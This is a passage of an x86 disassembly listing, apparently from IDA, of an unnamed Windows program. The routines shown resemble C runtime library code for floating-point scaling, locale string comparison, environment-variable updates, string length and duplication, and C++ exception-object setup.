		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_421F7D


loc_421FB5:				; CODE XREF: sub_421EA1+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421F61
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_421FF8


loc_421FD3:				; CODE XREF: sub_421EA1+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_421FF1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213B6
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421FD3


loc_421FF1:				; CODE XREF: sub_421EA1+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_422031


loc_421FF8:				; CODE XREF: sub_421EA1+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_422031
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_422011:				; CODE XREF: sub_421EA1+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_42201A
		inc	[ebp+var_14]


loc_42201A:				; CODE XREF: sub_421EA1+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213E4
		dec	ebx
		pop	ecx
		jnz	short loc_422011
		cmp	[ebp+var_14], 0
		jz	short loc_422031
		or	byte ptr [ebp+var_24], 1


loc_422031:				; CODE XREF: sub_421EA1+155j
					; sub_421EA1+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_422048
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_42207D


loc_422048:				; CODE XREF: sub_421EA1+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_42207A
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_422075
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_42206F
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_42206F:				; CODE XREF: sub_421EA1+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_422075:				; CODE XREF: sub_421EA1+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_42207A:				; CODE XREF: sub_421EA1+1ABj
		inc	[ebp+var_24+2]


loc_42207D:				; CODE XREF: sub_421EA1+1A5j
					; sub_421EA1+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4220A1
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_42209B:				; CODE XREF: sub_421EA1+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4220BC
; ---------------------------------------------------------------------------


loc_4220A1:				; CODE XREF: sub_421EA1+42j
					; sub_421EA1+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_4220BC:				; CODE XREF: sub_421EA1+ABj
					; sub_421EA1+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220C1	proc near		; CODE XREF: sub_4214D8+440p
					; sub_4219A9+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43C090
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		jge	short loc_4220E9
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43C1F0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_4220E9:				; CODE XREF: sub_4220C1+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4220F4
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_4220F4:				; CODE XREF: sub_4220C1+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		push	esi
		push	edi


loc_4220FB:				; CODE XREF: sub_4220C1+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_422133
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_422126
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_422126:				; CODE XREF: sub_4220C1+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_421EA1
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_422133:				; CODE XREF: sub_4220C1+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4220FB
		pop	edi
		pop	esi


loc_42213A:				; CODE XREF: sub_4220C1+14j
					; sub_4220C1+36j
		pop	ebx
		leave
		retn
sub_4220C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42213D	proc near		; CODE XREF: sub_421DAE+5Ep
					; sub_422619+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_42214A
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42214A:				; CODE XREF: sub_42213D+7j
		push	dword_48B444
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_48B664
		call	sub_4221EA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422177
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422177:				; CODE XREF: sub_42213D+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42213D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42217C	proc near		; CODE XREF: sub_421DAE+1Ep
					; sub_422492+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_48A044
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4221DD
		mov	ebx, dword_424150


loc_422195:				; CODE XREF: sub_42217C+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_4221E5
		push	ebp
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_4221E5
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_4221E5
		push	edi
		push	[esp+18h+var_4]
		call	sub_422492
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_422195


loc_4221DD:				; CODE XREF: sub_42217C+11j
		xor	eax, eax


loc_4221DF:				; CODE XREF: sub_42217C+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4221E5:				; CODE XREF: sub_42217C+29j
					; sub_42217C+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4221DF
sub_42217C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221EA	proc near		; CODE XREF: sub_42213D+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424C88
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_48A300, ebx
		push	1
		pop	edi
		jnz	short loc_42225D
		push	edi
		mov	eax, offset dword_4248D8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25A0000h
		test	eax, eax
		jz	short loc_42223A
		mov	dword_48A300, edi
		jmp	short loc_42225D
; ---------------------------------------------------------------------------


loc_42223A:				; CODE XREF: sub_4221EA+46j
		push	edi
		mov	eax, offset dword_43C824
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25A05BBh
		test	eax, eax
		jz	loc_422453
		mov	dword_48A300, 2


loc_42225D:				; CODE XREF: sub_4221EA+31j
					; sub_4221EA+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_422274
		push	esi
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_422274:				; CODE XREF: sub_4221EA+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_422289
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_422289:				; CODE XREF: sub_4221EA+8Dj
		mov	eax, dword_48A300
		cmp	eax, 2
		jnz	short loc_4222AE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25A05BBh
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_4221EA+A7j
		cmp	eax, edi
		jnz	loc_422453
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4222C3
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax


loc_4222C3:				; CODE XREF: sub_4221EA+CFj
		cmp	esi, ebx
		jz	short loc_4222D0
		cmp	[ebp+arg_14], ebx
		jnz	loc_422368


loc_4222D0:				; CODE XREF: sub_4221EA+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_4222DD


loc_4222D5:				; CODE XREF: sub_4221EA+13Cj
					; sub_4221EA+16Dj
		push	2


loc_4222D7:				; CODE XREF: sub_4221EA+146j
		pop	eax
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222DD:				; CODE XREF: sub_4221EA+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_4222E9


loc_4222E2:				; CODE XREF: sub_4221EA+151j
					; sub_4221EA+159j ...
		mov	eax, edi
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222E9:				; CODE XREF: sub_4221EA+F6j
		cmp	esi, edi
		jg	short loc_42232E
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2881391h
		test	eax, eax
		jz	loc_422453
		cmp	esi, ebx
		jle	short loc_422332
		cmp	[ebp+var_3C], 2
		jb	short loc_42232E
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42232E


loc_422314:				; CODE XREF: sub_4221EA+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42232E
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_422328
		cmp	cl, dl
		jbe	short loc_4222D5


loc_422328:				; CODE XREF: sub_4221EA+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422314


loc_42232E:				; CODE XREF: sub_4221EA+101j
					; sub_4221EA+120j ...
		push	3
		jmp	short loc_4222D7
; ---------------------------------------------------------------------------


loc_422332:				; CODE XREF: sub_4221EA+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_422368
		cmp	[ebp+var_3C], 2
		jb	short loc_4222E2
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_4222E2


loc_422345:				; CODE XREF: sub_4221EA+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_4222E2
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42235D
		cmp	cl, dl
		jbe	loc_4222D5


loc_42235D:				; CODE XREF: sub_4221EA+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422345
		jmp	loc_4222E2
; ---------------------------------------------------------------------------


loc_422368:				; CODE XREF: sub_4221EA+E0j
					; sub_4221EA+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	near ptr 2620000h
		nop
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_422453
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4223B7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4223B7:				; CODE XREF: sub_4221EA+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_422453
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_424070
		call	esi
		test	eax, eax
		jz	short loc_422453
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_422453
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422422
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_422422:				; CODE XREF: sub_4221EA+224j
		cmp	edi, ebx
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25A0000h
		jmp	short loc_422455
; ---------------------------------------------------------------------------


loc_422453:				; CODE XREF: sub_4221EA+63j
					; sub_4221EA+C6j ...
		xor	eax, eax


loc_422455:				; CODE XREF: sub_4221EA+BFj
					; sub_4221EA+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4221EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_422467	proc near		; CODE XREF: sub_41E709+81p
					; sub_4221EA+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422484


loc_422477:				; CODE XREF: sub_422467+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_422484
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_422477


loc_422484:				; CODE XREF: sub_422467+Ej
					; sub_422467+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_42248F
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_42248F:				; CODE XREF: sub_422467+21j
		mov	eax, edx
		retn
sub_422467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422492	proc near		; CODE XREF: sub_42217C+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4224F6
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4226D8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4224F6
		cmp	[ebp+arg_0], esi
		jz	short loc_4224F6
		mov	eax, dword_48A03C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_48A040
		jnz	short loc_4224DC
		push	eax
		call	sub_422671
		pop	ecx
		mov	dword_48A03C, eax


loc_4224DC:				; CODE XREF: sub_422492+3Cj
		cmp	eax, edi
		jnz	short loc_422534
		cmp	[ebp+arg_4], edi
		jz	short loc_4224FE
		cmp	dword_48A044, edi
		jz	short loc_4224FE
		call	sub_42217C
		test	eax, eax
		jz	short loc_422534


loc_4224F6:				; CODE XREF: sub_422492+Dj
					; sub_422492+22j ...
		or	eax, 0FFFFFFFFh


loc_4224F9:				; CODE XREF: sub_422492+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4224FE:				; CODE XREF: sub_422492+51j
					; sub_422492+59j
		cmp	ebx, edi
		jnz	loc_422612
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_48A03C, eax
		jz	short loc_4224F6
		mov	[eax], edi
		cmp	dword_48A044, edi
		jnz	short loc_422534
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_48A044, eax
		jz	short loc_4224F6
		mov	[eax], edi


loc_422534:				; CODE XREF: sub_422492+4Cj
					; sub_422492+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_48A03C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_422619
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_422594
		cmp	dword ptr [edi], 0
		jz	short loc_422594
		test	ebx, ebx
		jz	short loc_42258C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_417C3B
		pop	ecx


loc_422566:				; CODE XREF: sub_422492+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_422576
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_422566
; ---------------------------------------------------------------------------


loc_422576:				; CODE XREF: sub_422492+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4225C6
		jmp	short loc_4225C1
; ---------------------------------------------------------------------------


loc_42258C:				; CODE XREF: sub_422492+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4225C6
; ---------------------------------------------------------------------------


loc_422594:				; CODE XREF: sub_422492+BDj
					; sub_422492+C2j
		test	ebx, ebx
		jnz	short loc_422612
		test	esi, esi
		jge	short loc_42259E
		neg	esi


loc_42259E:				; CODE XREF: sub_422492+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4224F6
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4225C1:				; CODE XREF: sub_422492+F8j
		mov	dword_48A03C, eax


loc_4225C6:				; CODE XREF: sub_422492+F6j
					; sub_422492+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_422612
		push	[ebp+arg_0]
		call	sub_417AB0
		inc	eax
		inc	eax
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_422612
		push	[ebp+arg_0]
		push	esi
		call	sub_4179C0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 2590162h
		nop
		push	esi
		call	sub_417C3B
		pop	ecx


loc_422612:				; CODE XREF: sub_422492+6Ej
					; sub_422492+104j ...
		xor	eax, eax
		jmp	loc_4224F9
sub_422492	endp


; =============== S U B	R O U T	I N E =======================================



sub_422619	proc near		; CODE XREF: sub_422492+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_48A03C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_422654
		mov	edi, [esp+8+arg_4]


loc_42262B:				; CODE XREF: sub_422619+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42264A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_422664
		test	al, al
		jz	short loc_422664


loc_42264A:				; CODE XREF: sub_422619+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42262B


loc_422654:				; CODE XREF: sub_422619+Cj
		mov	eax, esi
		sub	eax, dword_48A03C
		sar	eax, 2
		neg	eax


loc_422661:				; CODE XREF: sub_422619+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_422664:				; CODE XREF: sub_422619+2Bj
					; sub_422619+2Fj
		mov	eax, esi
		sub	eax, dword_48A03C
		sar	eax, 2
		jmp	short loc_422661
sub_422619	endp


; =============== S U B	R O U T	I N E =======================================



sub_422671	proc near		; CODE XREF: sub_422492+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_422680
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422680:				; CODE XREF: sub_422671+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_422692


loc_422688:				; CODE XREF: sub_422671+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_422688


loc_422692:				; CODE XREF: sub_422671+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4226B3
		push	9
		call	sub_419CDA
		pop	ecx


loc_4226B3:				; CODE XREF: sub_422671+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4226B7:				; CODE XREF: sub_422671+5Bj
		test	eax, eax
		jz	short loc_4226CE
		push	eax
		add	ebx, 4
		call	sub_42274B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4226B7
; ---------------------------------------------------------------------------


loc_4226CE:				; CODE XREF: sub_422671+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_422671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226D8	proc near		; CODE XREF: sub_422492+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_48B45C, 0
		jnz	short loc_4226F3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418F50
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4226F3:				; CODE XREF: sub_4226D8+Aj
		mov	ecx, [ebp+arg_0]


loc_4226F6:				; CODE XREF: sub_4226D8+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_422739
		movzx	edx, al
		test	byte_48B561[edx], 4
		jz	short loc_422725
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_422730
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_422734
		jmp	short loc_42272D
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_4226D8+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_422739


loc_42272D:				; CODE XREF: sub_4226D8+4Bj
		inc	ecx
		jmp	short loc_4226F6
; ---------------------------------------------------------------------------


loc_422730:				; CODE XREF: sub_4226D8+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422734:				; CODE XREF: sub_4226D8+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422739:				; CODE XREF: sub_4226D8+25j
					; sub_4226D8+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4226D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42274B	proc near		; CODE XREF: sub_40A7D7+21p
					; sub_422671+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_422772
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_422772
		push	esi
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_422772:				; CODE XREF: sub_42274B+7j
					; sub_42274B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42274B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422780	proc near		; CODE XREF: sub_422863+19p
					; sub_42298A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_4046A3
		mov	eax, esi
		pop	esi
		retn	8
sub_422780	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227AA	proc near		; CODE XREF: ___:004227D5p
					; sub_422858+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_404667
		mov	ecx, esi
		pop	esi
		jmp	sub_422BA6
sub_4227AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227C5	proc near		; DATA XREF: ___:00424CA8o
					; ___:00424CB8o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4227D1
		mov	eax, offset dword_424290

locret_4227D1:				; CODE XREF: sub_4227C5+5j
		retn
sub_4227C5	endp

; ---------------------------------------------------------------------------


loc_4227D2:				; DATA XREF: ___:off_424CA4o
		push	esi
		mov	esi, ecx
		call	sub_4227AA
		test	byte ptr [esp+8], 1
		jz	short loc_4227E8
		push	esi
		call	sub_4182AF
		pop	ecx


loc_4227E8:				; CODE XREF: ___:004227DFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4227EE	proc near		; CODE XREF: sub_422863+29p
		mov	eax, offset loc_423122
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4227EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42283C	proc near		; DATA XREF: ___:off_424CB4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422858
		test	[esp+4+arg_0], 1
		jz	short loc_422852
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422852:				; CODE XREF: sub_42283C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42283C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422858	proc near		; CODE XREF: sub_42283C+3p
					; DATA XREF: ___:0042502Co
		mov	dword ptr [ecx], offset	off_424CB4
		jmp	sub_4227AA
sub_422858	endp


